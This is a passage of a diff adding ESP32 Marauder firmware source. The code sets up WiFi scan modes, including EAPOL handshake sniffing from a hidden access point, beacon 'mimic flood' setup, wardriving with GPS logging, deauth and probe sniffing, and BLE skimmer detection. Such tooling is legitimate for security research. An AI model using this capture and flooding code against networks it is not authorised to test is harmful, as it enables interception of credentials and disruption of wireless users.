+      display_obj.initScrollValues(true);
+      display_obj.tft.setTextWrap(false);
+      display_obj.tft.setTextColor(TFT_WHITE, color);
+      #ifdef HAS_ILI9341
+        display_obj.tft.fillRect(0,16,240,16, color);
+        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+        display_obj.touchToExit();
+      #endif
+      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+    #endif
+  #endif
+
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_AP);
+
+  esp_err_t err;
+  wifi_config_t conf;
+  err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
+  if (err != 0)
+  {
+    Serial.print("could not set protocol : err=0x");
+    Serial.println(err, HEX);
+  }
+
+  esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
+  conf.ap.ssid[0] = '\0';
+  conf.ap.ssid_len = 0;
+  conf.ap.channel = this->set_channel;
+  conf.ap.ssid_hidden = 1;
+  conf.ap.max_connection = 0;
+  conf.ap.beacon_interval = 60000;
+
+  err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
+  if (err != 0)
+  {
+    Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
+    Serial.println(err, HEX);
+  }
+
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+    esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
+  else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL)
+    esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
+  else
+    esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+
+// Function to prepare for beacon mimic
+void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+  #endif
+  
+  packets_sent = 0;
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_AP_STA);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous_filter(NULL);
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_max_tx_power(78);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("pwnagotchi");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[37],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::executeWarDrive() {
+  #ifdef HAS_GPS
+    if (gps_obj.getGpsModuleStatus()) {
+      bool do_save;
+      String display_string;
+      
+      while (WiFi.scanComplete() == WIFI_SCAN_RUNNING) {
+        Serial.println("Scan running...");
+        delay(500);
+      }
+      
+      int n = WiFi.scanNetworks(false, true, false, 110, this->set_channel);
+
+      if (n > 0) {
+        for (int i = 0; i < n; i++) {
+          display_string = "";
+          do_save = false;
+          uint8_t *this_bssid_raw = WiFi.BSSID(i);
+          char this_bssid[18] = {0};
+          sprintf(this_bssid, "%02X:%02X:%02X:%02X:%02X:%02X", this_bssid_raw[0], this_bssid_raw[1], this_bssid_raw[2], this_bssid_raw[3], this_bssid_raw[4], this_bssid_raw[5]);
+
+          if (this->seen_mac(this_bssid_raw))
+            continue;
+
+          this->save_mac(this_bssid_raw);
+
+          String ssid = WiFi.SSID(i);
+          ssid.replace(",","_");
+
+          if (ssid != "") {
+            display_string.concat(ssid);
+          }
+          else {
+            display_string.concat(this_bssid);
+          }
+
+          if (gps_obj.getFixStatus()) {
+            do_save = true;
+            display_string.concat(" | Lt: " + gps_obj.getLat());
+            display_string.concat(" | Ln: " + gps_obj.getLon());
+          }
+          else {
+            display_string.concat(" | GPS: No Fix");
+          }
+
+          int temp_len = display_string.length();
+
+          #ifdef HAS_SCREEN
+            for (int i = 0; i < 40 - temp_len; i++)
+            {
+              display_string.concat(" ");
+            }
+            
+            display_obj.display_buffer->add(display_string);
+          #endif
+
+
+          String wardrive_line = WiFi.BSSIDstr(i) + "," + ssid + "," + this->security_int_to_string(WiFi.encryptionType(i)) + "," + gps_obj.getDatetime() + "," + (String)WiFi.channel(i) + "," + (String)WiFi.RSSI(i) + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI\n";
+          Serial.print((String)this->mac_history_cursor + " | " + wardrive_line);
+
+          evil_portal_obj.addLog(wardrive_line, wardrive_line.length());
+        }
+      }
+      this->channelHop();
+
+      // Free up that memory, you sexy devil
+      WiFi.scanDelete();
+    }
+  #endif
+}
+
+// Function to start running a beacon scan
+void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    if (scan_mode == WIFI_SCAN_AP)
+      sd_obj.openCapture("beacon");
+    else if (scan_mode == WIFI_SCAN_WAR_DRIVE) {
+      #ifdef HAS_GPS
+        if (gps_obj.getGpsModuleStatus()) {
+          sd_obj.openLog("wardrive");
+          String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n";
+          evil_portal_obj.addLog(header_line, header_line.length());
+        }
+      #endif
+    }
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      if (scan_mode == WIFI_SCAN_AP)
+        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+      else if (scan_mode == WIFI_SCAN_WAR_DRIVE) {
+        this->clearMacHistory();
+        display_obj.tft.drawCentreString("Wardrive", 120, 16, 2);
+      }
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+
+  if (scan_mode != WIFI_SCAN_WAR_DRIVE) {
+  
+    esp_wifi_init(&cfg);
+    esp_wifi_set_storage(WIFI_STORAGE_RAM);
+    esp_wifi_set_mode(WIFI_MODE_NULL);
+    esp_wifi_start();
+    esp_wifi_set_promiscuous(true);
+    esp_wifi_set_promiscuous_filter(&filt);
+    esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
+    esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  }
+  else {
+    this->startWardriverWiFi();
+  }
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::startWardriverWiFi() {
+  WiFi.mode(WIFI_STA);
+  WiFi.disconnect();
+}
+
+void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("station");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table1[59],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    if (scan_mode != WIFI_SCAN_SIG_STREN)
+      sd_obj.openCapture("raw");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      if (scan_mode != WIFI_SCAN_SIG_STREN)
+        display_obj.tft.drawCentreString(text_table1[58],120,16,2);
+      else
+        display_obj.tft.drawCentreString("Signal Monitor", 120, 16, 2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("deauth");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[39],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+
+// Function for running probe request scan
+void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("probe");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[40],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+// Function to start running any BLE scan
+void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef HAS_BT
+    #ifdef HAS_SCREEN
+      display_obj.print_delay_1 = 50;
+      display_obj.print_delay_2 = 20;
+    #endif
+  
+    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
+    NimBLEDevice::setScanDuplicateCacheSize(200);
+    NimBLEDevice::init("");
+    pBLEScan = NimBLEDevice::getScan(); //create new scan
+    if (scan_mode == BT_SCAN_ALL)
+    {
+      #ifdef HAS_SCREEN
+        display_obj.TOP_FIXED_AREA_2 = 48;
+        display_obj.tteBar = true;
+        display_obj.initScrollValues(true);
+        display_obj.tft.setTextWrap(false);
+        display_obj.tft.setTextColor(TFT_BLACK, color);
+        #ifdef HAS_ILI9341
+          display_obj.tft.fillRect(0,16,240,16, color);
+          display_obj.tft.drawCentreString(text_table4[41],120,16,2);
+          display_obj.touchToExit();
+        #endif
+        display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+      #endif
+      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
+    }
+    else if (scan_mode == BT_SCAN_SKIMMERS)
+    {
+      #ifdef HAS_SCREEN
+        display_obj.TOP_FIXED_AREA_2 = 160;
+        display_obj.tteBar = true;
+        display_obj.tft.fillScreen(TFT_DARKGREY);
+        display_obj.initScrollValues(true);
+        display_obj.tft.setTextWrap(false);
+        display_obj.tft.setTextColor(TFT_BLACK, color);
+        display_obj.tft.fillRect(0,16,240,16, color);
+        display_obj.tft.drawCentreString(text_table4[42],120,16,2);
+        display_obj.twoPartDisplay(text_table4[43]);
+        display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
+        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+      #endif
+      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
+    }
+    pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
+    pBLEScan->setInterval(97);
+    pBLEScan->setWindow(37);  // less or equal setInterval value
+    pBLEScan->setMaxResults(0);
+    pBLEScan->start(0, scanCompleteCB, false);
+    Serial.println("Started BLE Scan");
+    this->ble_initialized = true;
+    initTime = millis();
+  #endif
+}
+
+// Function that is called when BLE scan is completed
+#ifdef HAS_BT
+  void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
+    printf("Scan complete!\n");
+    printf("Found %d devices\n", scanResults.getCount());
+    scanResults.dump();
+  } // scanCompleteCB
+#endif
+
+// Function to extract MAC addr from a packet at given offset
+void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
+  sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
+}
+
+void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{ 
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String src = "";
+  String essid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      src.concat(addr);
+      if (src == "de:ad:be:ef:de:ad") {
+        
+        
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        Serial.print(addr);
+        //display_string.concat(addr);
+        display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+
+        // Just grab the first 255 bytes of the pwnagotchi beacon
+        // because that is where the name is
+        //for (int i = 0; i < snifferPacket->payload[37]; i++)
+        for (int i = 0; i < len - 37; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          //display_string.concat((char)snifferPacket->payload[i + 38]);
+          if (isAscii(snifferPacket->payload[i + 38]))
+            essid.concat((char)snifferPacket->payload[i + 38]);
+          else
+            Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
+        }
+        //essid.concat("\": \"\"}}");
+        //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
+
+        // Load json
+        //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
+        DynamicJsonDocument json(1024); // ArduinoJson v6
+        //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
+         // ArduinoJson v6
+        if (deserializeJson(json, essid)) {
+          Serial.println("\nCould not parse Pwnagotchi json");
+          display_string.concat(essid);
+        }
+        else {
+          Serial.println("\nSuccessfully parsed json");
+          String json_output;
+          //json.printTo(json_output); // ArduinoJson v5
+          serializeJson(json, json_output); // ArduinoJson v6
+          Serial.println(json_output);
+          display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
+        }
+  
+        int temp_len = display_string.length();
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+
+        #ifdef HAS_SCREEN
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+
+        Serial.println();
+
+        addPacket(snifferPacket, len);
+      }
+    }
+  }
+}
+
+void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {  
+  extern WiFiScan wifi_scan_obj;
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+  String bssid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+
+      bool in_list = false;
+      bool mac_match = true;
+
+      for (int i = 0; i < access_points->size(); i++) {
+        mac_match = true;
+        //Serial.print("Checking ");
+        //Serial.print(addr);
+        //Serial.println(" against " + (String)access_points->get(i).essid);
+
+        
+        for (int x = 0; x < 6; x++) {
+          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
+            mac_match = false;
+            //Serial.println("MACs do not match");
+            break;
+          }
+        }
+        if (mac_match) {
+          in_list = true;
+          break;
+        }
+      }
+
+      if (!in_list) {
+      
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        Serial.print(addr);
+        display_string.concat(addr);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+        for (int i = 0; i < snifferPacket->payload[37]; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          display_string.concat((char)snifferPacket->payload[i + 38]);
+          essid.concat((char)snifferPacket->payload[i + 38]);
+
+          
+        }
+
+        bssid.concat(addr);
+  
+        int temp_len = display_string.length();
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+
+        #ifdef HAS_SCREEN
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+        
+        if (essid == "") {
+          essid = bssid;
+          Serial.print(essid + " ");
+        }
+
+        //LinkedList<char> beacon = new LinkedList<char>();
+        
+        /*AccessPoint ap = {essid,
+                          snifferPacket->rx_ctrl.channel,
+                          {snifferPacket->payload[10],
+                           snifferPacket->payload[11],
+                           snifferPacket->payload[12],
+                           snifferPacket->payload[13],
+                           snifferPacket->payload[14],
+                           snifferPacket->payload[15]},
+                          false,
+                          NULL};*/
+
+        AccessPoint ap;
+        ap.essid = essid;
+        ap.channel = snifferPacket->rx_ctrl.channel;
+        ap.bssid[0] = snifferPacket->payload[10];
+        ap.bssid[1] = snifferPacket->payload[11];
+        ap.bssid[2] = snifferPacket->payload[12];
+        ap.bssid[3] = snifferPacket->payload[13];
+        ap.bssid[4] = snifferPacket->payload[14];
+        ap.bssid[5] = snifferPacket->payload[15];
+        ap.selected = false;
+        ap.stations = new LinkedList<uint8_t>();
+        
+        ap.beacon = new LinkedList<char>();
+
+        //for (int i = 0; i < len; i++) {
+        //  ap.beacon->add(snifferPacket->payload[i]);
+        //}
+        ap.beacon->add(snifferPacket->payload[34]);
+        ap.beacon->add(snifferPacket->payload[35]);
+
+        Serial.print("\nBeacon: ");
+
+        for (int i = 0; i < ap.beacon->size(); i++) {
+          char hexCar[4];
+          sprintf(hexCar, "%02X", ap.beacon->get(i));
+          Serial.print(hexCar);
+          if ((i + 1) % 16 == 0)
+            Serial.print("\n");
+          else
+            Serial.print(" ");
+        }
+
+        ap.rssi = snifferPacket->rx_ctrl.rssi;
+
+        access_points->add(ap);
+
+        Serial.print(access_points->size());
+        Serial.print(" ");
+        Serial.print(esp_get_free_heap_size());
+
+        Serial.println();
+
+        addPacket(snifferPacket, len);
+      }
+    }
+  }
+}
+
+void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  extern WiFiScan wifi_scan_obj;
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+  String bssid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+
+      bool in_list = false;
+      bool mac_match = true;
+
+      for (int i = 0; i < access_points->size(); i++) {
+        mac_match = true;
+        //Serial.print("Checking ");
+        //Serial.print(addr);
+        //Serial.println(" against " + (String)access_points->get(i).essid);
+
+        
+        for (int x = 0; x < 6; x++) {
+          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
+            mac_match = false;
+            //Serial.println("MACs do not match");
+            break;
+          }
+        }
+        if (mac_match) {
+          in_list = true;
+          break;
+        }
+      }
+
+      if (!in_list) {
+      
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        Serial.print(addr);
+        display_string.concat(addr);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+        for (int i = 0; i < snifferPacket->payload[37]; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          display_string.concat((char)snifferPacket->payload[i + 38]);
